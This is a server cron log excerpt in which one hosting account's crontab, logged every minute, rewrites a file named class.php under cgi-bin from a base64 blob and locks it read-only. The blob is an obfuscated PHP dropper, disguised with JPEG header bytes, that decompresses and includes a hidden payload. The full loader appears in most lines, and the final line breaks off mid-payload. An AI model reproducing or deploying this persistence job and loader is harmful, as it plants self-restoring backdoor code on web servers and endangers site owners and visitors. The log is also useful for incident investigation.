Apr 12 18:01:01 server CROND[29586]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:01:01 server run-parts(/etc/cron.hourly)[29585]: starting 0anacron
Apr 12 18:01:01 server run-parts(/etc/cron.hourly)[29599]: finished 0anacron
Apr 12 18:02:01 server CROND[29661]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:03:01 server CROND[29719]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:04:01 server CROND[29877]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:05:01 server CROND[29944]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 18:05:01 server CROND[29946]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:05:01 server CROND[29947]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 18:05:01 server CROND[29945]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 18:06:01 server CROND[30085]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:07:01 server CROND[30145]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:08:01 server CROND[30195]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:09:01 server CROND[30249]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:09:01 server CROND[30250]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 18:10:01 server CROND[30410]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 18:10:01 server CROND[30411]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 18:10:01 server CROND[30412]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 18:10:01 server CROND[30413]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:11:01 server CROND[30529]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:12:01 server CROND[30615]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 18:12:01 server CROND[30616]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:13:01 server CROND[30683]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:14:01 server CROND[30802]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSV